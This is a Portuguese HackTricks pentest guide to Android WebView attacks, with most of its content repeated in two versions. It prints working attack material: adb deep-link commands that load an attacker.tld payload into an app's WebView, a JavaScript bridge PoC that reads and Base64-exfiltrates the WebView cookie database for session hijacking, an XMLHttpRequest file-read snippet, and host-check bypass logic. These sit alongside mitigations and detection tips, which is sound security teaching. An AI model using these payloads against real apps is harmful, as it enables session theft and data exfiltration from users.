Ataques em Webview
Reading time: 18 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Guia sobre Configurações e Segurança do WebView
Visão geral das vulnerabilidades do WebView
Um aspecto crítico do desenvolvimento Android envolve o manuseio correto de WebViews. Este guia destaca configurações chave e práticas de segurança para mitigar riscos associados ao uso de WebViews.
.png)
Acesso a arquivos em WebViews
Por padrão, WebViews permitem acesso a arquivos. Esta funcionalidade é controlada pelo método setAllowFileAccess(), disponível desde o Android API level 3 (Cupcake 1.5). Aplicações com a permissão android.permission.READ_EXTERNAL_STORAGE podem ler arquivos do armazenamento externo usando o esquema de URL file (file://path/to/file).
Deprecated Features: Universal and File Access From URLs
- Universal Access From File URLs: Este recurso obsoleto permitia requisições cross-origin a partir de file URLs, representando um risco de segurança significativo devido a potenciais XSS attacks. A configuração padrão é desativada (
false) para apps que targetam Android Jelly Bean e versões mais novas. - Para checar esta configuração, use
getAllowUniversalAccessFromFileURLs(). - Para modificar esta configuração, use
setAllowUniversalAccessFromFileURLs(boolean). - File Access From File URLs: Este recurso, também obsoleto, controlava o acesso a conteúdo de outros URLs com esquema file. Assim como o acesso universal, seu padrão está desativado para maior segurança.
- Use
getAllowFileAccessFromFileURLs()para checar esetAllowFileAccessFromFileURLs(boolean)para configurar.
Carregamento Seguro de Arquivos
Para desabilitar o acesso ao sistema de arquivos enquanto ainda acessa assets e resources, utiliza-se o método setAllowFileAccess(). Com Android R e superior, a configuração padrão é false.
- Verifique com
getAllowFileAccess(). - Ative ou desative com
setAllowFileAccess(boolean).
WebViewAssetLoader
A classe WebViewAssetLoader é a abordagem moderna para carregar arquivos locais. Ela utiliza http(s) URLs para acessar assets e resources locais, alinhando-se à Same-Origin policy e facilitando o gerenciamento de CORS.
loadUrl
Esta é uma função comum usada para carregar URLs arbitrárias em um WebView:
webview.loadUrl("<url here>")
Claro, um atacante potencial nunca deve ser capaz de controlar a URL que uma aplicação vai carregar.
Manipulação de JavaScript e Intent Scheme
- JavaScript: Desativado por padrão em WebViews, pode ser habilitado via
setJavaScriptEnabled(). Recomenda-se cautela, pois habilitar JavaScript sem as devidas proteções pode introduzir vulnerabilidades de segurança. - Intent Scheme: WebViews podem lidar com o esquema
intent, potencialmente levando a exploits se não for cuidadosamente gerenciado. Um exemplo de vulnerabilidade envolveu um parâmetro exposto do WebView "support_url" que poderia ser explorado para executar ataques de cross-site scripting (XSS).
.png)
Exemplo de exploração usando adb:
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
Javascript Bridge
O Android fornece um recurso que permite que o JavaScript em um WebView invoque funções nativas do app Android. Isso é feito utilizando o método addJavascriptInterface, que integra JavaScript com funcionalidades nativas do Android, denominado WebView JavaScript bridge. É preciso cautela, pois esse método permite que todas as páginas dentro do WebView acessem o objeto JavaScript Interface registrado, criando um risco de segurança se informações sensíveis forem expostas por essas interfaces.
- Cautela extrema é necessária para apps cujo alvo são versões do Android inferiores à 4.2 devido a uma vulnerabilidade que permite execução remota de código por meio de JavaScript malicioso, explorando reflection.
Implementando um JavaScript Bridge
- JavaScript interfaces podem interagir com código nativo, como mostrado nos exemplos em que um método de classe é exposto ao JavaScript:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
- JavaScript Bridge é ativada adicionando uma interface ao WebView:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
- Potencial exploração através de JavaScript, por exemplo, via um ataque XSS, permite a chamada de métodos Java expostos:
<script>
alert(javascriptBridge.getSecret())
</script>
- Para mitigar riscos, restrinja o uso da JavaScript bridge ao código incluído no APK e impeça o carregamento de JavaScript a partir de fontes remotas. Para dispositivos mais antigos, defina o nível mínimo de API para 17.
Reflection-based Remote Code Execution (RCE)
- Um método documentado permite atingir RCE através de reflection executando um payload específico. No entanto, a anotação
@JavascriptInterfaceimpede o acesso não autorizado a métodos, limitando a superfície de ataque.
Remote Debugging
- Remote debugging é possível com Chrome Developer Tools, permitindo interação e execução arbitrária de JavaScript dentro do conteúdo do WebView.
Enabling Remote Debugging
- Remote debugging pode ser habilitado para todos os WebViews dentro de um aplicativo por:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
- Para habilitar condicionalmente o debugging com base no estado debuggable do aplicativo:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
Exfiltrar arquivos arbitrários
- Demonstra a exfiltração de arquivos arbitrários usando um XMLHttpRequest:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)
Ataques em WebView
Guia sobre Configurações e Segurança do WebView
Visão geral das vulnerabilidades do WebView
Um aspecto crítico do desenvolvimento Android envolve o manuseio correto de WebViews. Este guia destaca configurações-chave e práticas de segurança para mitigar riscos associados ao uso de WebView.
.png)
Acesso a Arquivos em WebViews
Por padrão, WebViews permitem acesso a arquivos. Essa funcionalidade é controlada pelo método setAllowFileAccess(), disponível desde o nível de API 3 (Cupcake 1.5). Aplicações com a permissão android.permission.READ_EXTERNAL_STORAGE podem ler arquivos do armazenamento externo usando o esquema de URL de arquivo (file://path/to/file).
Recursos obsoletos: Acesso Universal e Acesso a Arquivos a partir de URLs
- Universal Access From File URLs: Esse recurso obsoleto permitia requisições cross-origin a partir de file URLs, representando um risco significativo de segurança devido a possíveis ataques XSS. O valor padrão é desabilitado (
false) para apps com target Android Jelly Bean ou superior. - Para verificar essa configuração, use
getAllowUniversalAccessFromFileURLs(). - Para modificar essa configuração, use
setAllowUniversalAccessFromFileURLs(boolean). - File Access From File URLs: Esse recurso, também obsoleto, controlava o acesso a conteúdo de outros URLs com o esquema file. Assim como o acesso universal, seu valor padrão é desabilitado para maior segurança.
- Use
getAllowFileAccessFromFileURLs()para verificar esetAllowFileAccessFromFileURLs(boolean)para definir.
Carregamento Seguro de Arquivos
Para desabilitar o acesso ao sistema de arquivos while ainda acessar assets e resources locais, utiliza-se o método setAllowFileAccess(). No Android R e versões superiores, o valor padrão é false.
- Verifique com
getAllowFileAccess(). - Habilite ou desabilite com
setAllowFileAccess(boolean).
WebViewAssetLoader
A classe WebViewAssetLoader é a abordagem moderna para carregar arquivos locais. Ela utiliza URLs http(s) para acessar assets e recursos locais, alinhando-se com a política de mesma origem (Same-Origin policy), facilitando assim o gerenciamento de CORS.
loadUrl
Esta é uma função comum usada para carregar URLs arbitrárias em um WebView:
webview.loadUrl("<url here>")
Obviamente, um atacante potencial nunca deve ser capaz de controlar a URL que um aplicativo vai carregar.
Deep-linking into internal WebView (custom scheme → WebView sink)
Muitos apps registram custom schemes/paths que direcionam uma URL fornecida pelo usuário para um WebView in-app. Se o deep link estiver exportado (VIEW + BROWSABLE), um atacante pode forçar o app a renderizar conteúdo remoto arbitrário dentro do seu contexto WebView.
Padrão típico do manifest (simplificado):
<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>
Fluxo de código comum (simplificado):
// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}
// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));
Padrão de ataque e PoC via adb:
# Template – force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
Impacto: a página remota roda no contexto do WebView do app (cookies/sessão do perfil do app WebView, acesso a qualquer @JavascriptInterface exposto, acesso potencial a content:// e file:// dependendo das configurações).
Dicas para identificação:
- Procure nos códigos-fonte decompilados por
getQueryParameter("url"),loadUrl(, sinks doWebView, e handlers de deep-link (onCreate/onNewIntent). - Revise o manifest em busca de filtros VIEW+BROWSABLE e esquemas/hosts personalizados que mapeiem para activities que depois iniciam um WebView.
- Verifique se existem múltiplos caminhos de deep-link (p.ex., um caminho “external browser” vs. um caminho “internal webview”) e prefira aquele que renderiza dentro do app.
Habilitar JavaScript antes da verificação (bug de ordem de verificação)
Um erro comum de hardening é habilitar JavaScript ou configurar definições relaxadas do WebView antes da conclusão da allowlist/verificação final da URL alvo. Se a verificação for inconsistente entre helpers ou ocorrer tarde demais, um deep link malicioso pode chegar a um estado onde:
- as configurações do WebView são aplicadas (p.ex.,
setJavaScriptEnabled(true)), e - a URL não confiável é carregada com JavaScript habilitado.
Padrão do bug (pseudocódigo):
// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;
// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();
// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late – JS already enabled
// 4) Load
webView.loadUrl(u.toString());
Por que é explorável
- Normalização inconsistente: helpers dividem/reconstroem a URL de forma diferente da verificação final, criando discrepâncias que uma URL maliciosa pode explorar.
- Pipeline fora de ordem: habilitar JS na etapa 2 aplica-se globalmente à instância WebView, afetando o carregamento final mesmo que a verificação falhe depois.
Como testar
- Crie deep-link payloads que passem pelas verificações iniciais e alcancem o site de configuração do WebView.
- Use adb para disparar intents VIEW implícitos que entreguem um parâmetro
url=controlado por você:
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
Se a exploração for bem-sucedida, seu payload executa JavaScript no WebView do app. A partir daí, procure por bridges expostas:
<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>
Orientações defensivas
- Canonicalize uma vez; valide estritamente contra uma única fonte de verdade (scheme/host/path/query).
- Chame
setJavaScriptEnabled(true)apenas depois de todas as verificações da allowlist passarem e imediatamente antes de carregar conteúdo confiável. - Evite expor
@JavascriptInterfacea origens não confiáveis; prefira controle por origem. - Considere instâncias por WebView separadas para conteúdo confiável vs não confiável, com JS desativado por padrão.
JavaScript e tratamento do Intent Scheme
- JavaScript: Desativado por padrão em WebViews, pode ser ativado via
setJavaScriptEnabled(). Deve-se ter cautela, pois habilitar JavaScript sem salvaguardas adequadas pode introduzir vulnerabilidades de segurança. - Intent Scheme: WebViews podem lidar com o esquema
intent, potencialmente levando a exploits se não for gerenciado cuidadosamente. Um exemplo de vulnerabilidade envolveu um parâmetro exposto do WebView "support_url" que poderia ser explorado para executar ataques de cross-site scripting (XSS).
.png)
Exemplo de exploração usando adb:
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
Javascript Bridge
Uma funcionalidade fornecida pelo Android permite que o JavaScript em um WebView invoque funções nativas do app Android. Isso é feito utilizando o método addJavascriptInterface, que integra o JavaScript com funcionalidades nativas do Android, denominado WebView JavaScript bridge. Deve-se ter cautela, pois esse método permite que todas as páginas dentro do WebView acessem o objeto JavaScript Interface registrado, representando um risco de segurança se informações sensíveis forem expostas por essas interfaces.
- É necessária extrema cautela para apps com target em versões do Android abaixo de 4.2 devido a uma vulnerabilidade que permite remote code execution por meio de JavaScript malicioso, explorando reflection.
Implementing a JavaScript Bridge
- JavaScript interfaces podem interagir com código nativo, como mostrado nos exemplos onde um método de classe é exposto ao JavaScript:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
- JavaScript Bridge é ativado adicionando uma interface ao WebView:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
- Potencial exploração através de JavaScript, por exemplo, via um ataque XSS, permite a chamada de métodos Java expostos:
<script>
alert(javascriptBridge.getSecret())
</script>
- Para mitigar riscos, restrinja o uso da JavaScript bridge ao código incluído no APK e impeça o carregamento de JavaScript de fontes remotas. Para dispositivos mais antigos, defina o mínimo API level para 17.
Abusando de JS bridges no estilo dispatcher (invokeMethod/handlerName)
Um padrão comum é um único método exportado (por exemplo, @JavascriptInterface void invokeMethod(String json)) que desserializa JSON controlado pelo atacante em um objeto genérico e encaminha com base em um nome de handler fornecido. Forma típica do JSON:
{
"handlerName": "toBase64",
"callbackId": "cb_12345",
"asyncExecute": "true",
"data": { /* handler-specific fields */ }
}
Risco: se qualquer handler registrado executar ações privilegiadas sobre dados do atacante (por exemplo, leituras diretas de arquivos), você pode chamá-lo definindo handlerName adequadamente. Os resultados geralmente são postados de volta no contexto da página via evaluateJavascript e um mecanismo de callback/promise indexado por callbackId.
Key hunting steps
- Descompile e faça grep por
addJavascriptInterface(para descobrir o nome do objeto bridge (por exemplo,xbridge). - No Chrome DevTools (chrome://inspect), digite o nome do objeto bridge no Console (por exemplo,
xbridge) para enumerar campos/métodos expostos; procure por um dispatcher genérico comoinvokeMethod. - Enumere handlers procurando por classes que implementem
getModuleName()ou por mapas de registro.
Leitura arbitrária de arquivos via URI → destinos de arquivo (exfiltração Base64)
Se um handler aceita uma URI, chama Uri.parse(req.getUri()).getPath(), constrói new File(...) e lê sem allowlists ou verificações de sandbox, você obtém uma leitura arbitrária de arquivo no sandbox do app que contorna configurações do WebView como setAllowFileAccess(false) (a leitura acontece em código nativo, não via a pilha de rede do WebView).
PoC para exfiltrar o Chromium WebView cookie DB (sequestro de sessão):
// Minimal callback sink so native can deliver the response
window.WebViewJavascriptBridge = {
_handleMessageFromObjC: function (data) { console.log(data) }
};
const payload = JSON.stringify({
handlerName: 'toBase64',
callbackId: 'cb_' + Date.now(),
data: { uri: 'file:///data/data/<pkg>/app_webview/Default/Cookies' }
});
xbridge.invokeMethod(payload);
Notas
- Cookie DB paths vary across devices/providers. Common ones:
file:///data/data/<pkg>/app_webview/Default/Cookiesfile:///data/data/<pkg>/app_webview_<pkg>/Default/Cookies- O handler retorna Base64; decodifique para recuperar cookies e se passar pelo usuário no perfil WebView do app.
Dicas de detecção
- Fique atento a grandes strings Base64 retornadas via
evaluateJavascriptao usar o app. - Faça grep nas fontes decompiladas por handlers que aceitam
uri/pathe as convertem paranew File(...).
Bypassing WebView privilege gates – endsWith() host checks
Decisões de privilégio (selecionar uma JSB-enabled Activity) frequentemente dependem de allowlists de host. Um padrão falho é:
String host = Uri.parse(url).getHost();
boolean z = true;
if (!host.endsWith(".trusted.com")) {
if (!".trusted.com".endsWith(host)) {
z = false;
}
}
// z==true → open privileged WebView
Lógica equivalente (De Morgan’s):
boolean z = host.endsWith(".trusted.com") ||
".trusted.com".endsWith(host);
Isto não é uma verificação de origem. Muitos hosts não intencionais satisfazem a segunda cláusula, permitindo que domínios não confiáveis entrem na Activity privilegiada. Sempre verifique scheme e host contra uma allowlist estrita (exact match ou uma verificação correta de subdomínio com dot-boundaries), não truques com endsWith.
javascript:// execution primitive via loadUrl
Uma vez dentro de um WebView privilegiado, apps às vezes executam JS inline via:
webView.loadUrl("javascript:" + jsPayload);
Se um fluxo interno disparar loadUrl("javascript:...") nesse contexto, o JS injetado é executado com acesso à bridge mesmo que a página externa normalmente não fosse permitida. Pentest steps:
- Grep for
loadUrl("javascript:andevaluateJavascript(in the app. - Tente alcançar esses code paths após forçar a navegação para o privileged WebView (por exemplo, via um permissive deep link chooser).
- Use the primitive para chamar o dispatcher (
xbridge.invokeMethod(...)) e alcançar sensitive handlers.
Mitigations (developer checklist)
- Verificação estrita de origem para privileged Activities: canonicalize e compare scheme/host contra uma allowlist explícita; evite checagens baseadas em
endsWith. Considere Digital Asset Links quando aplicável. - Scope bridges apenas para páginas trusted e re-verifique confiança em cada chamada (per-call authorization).
- Remova ou proteja fortemente handlers com acesso ao filesystem; prefira
content://com allowlists/permissions em vez de caminhosfile://crus. - Evite
loadUrl("javascript:")em contextos privilegiados ou coloque-o atrás de checagens fortes. - Lembre que
setAllowFileAccess(false)não protege contra leituras nativas de arquivos via bridge.
JSB enumeration and debugging tips
- Habilite WebView remote debugging para usar o Console do Chrome DevTools:
- App-side (debug builds):
WebView.setWebContentsDebuggingEnabled(true) - System-side: módulos como LSPosed ou Frida scripts podem forçar a habilitação do debugging mesmo em release builds. Exemplo de snippet Frida para Cordova WebViews: cordova enable webview debugging
- No DevTools, digite o nome do objeto bridge (ex.:
xbridge) para ver membros expostos e sondar o dispatcher.
Reflection-based Remote Code Execution (RCE)
- Um método documentado permite alcançar RCE via reflection executando um payload específico. Entretanto, a annotation
@JavascriptInterfaceimpede acesso não autorizado a métodos, limitando a superfície de ataque.
Remote Debugging
- Remote debugging é possível com Chrome Developer Tools, permitindo interação e execução arbitrária de JavaScript dentro do conteúdo do WebView.
Enabling Remote Debugging
- Remote debugging pode ser habilitado para todos os WebViews dentro de uma aplicação mediante:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
- Para habilitar condicionalmente o debugging com base no estado debuggable do aplicativo:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
Exfiltrar arquivos arbitrários
- Demonstra a exfiltração de arquivos arbitrários usando um XMLHttpRequest:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)
Referências
- Revisão dos vetores de ataque de acesso a arquivos do Android WebViews
- WheresMyBrowser.Android (aplicativo de demonstração)
- Referência do Android WebView
- Deep Links & WebViews Exploitations – Parte II
- Deep Links & WebViews Exploitations – Parte I
- Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough
- Pwn2Own Ireland 2024 – cadeia de ataque do Samsung S24 (whitepaper)
- Vídeo de demonstração
- Tomada de conta em app Android via JSB – tuxplorer.com
- LSPosed – systemless Xposed framework
- Frida codeshare: Cordova – habilitar depuração do WebView
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
HackTricks